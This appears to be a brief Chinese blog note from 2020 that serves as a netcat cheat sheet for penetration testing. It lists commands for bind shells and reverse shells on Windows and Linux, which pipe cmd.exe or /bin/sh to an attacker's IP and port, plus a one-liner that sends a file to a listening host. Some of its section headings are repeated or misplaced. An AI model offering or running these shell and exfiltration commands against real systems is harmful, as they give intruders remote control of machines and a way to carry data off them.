发布时间: 2020-3-6 文章作者: myluzh 分类名称: NOTES 朗读文章
攻击机开启监听:
- nc -nvlp [端口]
- nc [服务端IP] [端口]
攻击机开启监听:
- #Windows
- nc -nvlp [端口] -e cmd.exe
- #Linux
- nc -nvlp [端口] -e /bin/sh
反向shell
- nc [服务端IP] [端口]
攻击机开启监听:
- #Windows
- nc [攻击机IP] [端口] -e cmd.exe
- #Linux
- nc [攻击机IP] [端口] -e /bin/sh
有些时候靶机上并没有nc,所以需要php反弹shell来实现,关于php反弹shell脚本
- nc -nvlp [端口]
攻击机接受文件:
- nc -nvlp [端口] >1.txt
- nc [服务端IP] [端口] <1.txt
发表评论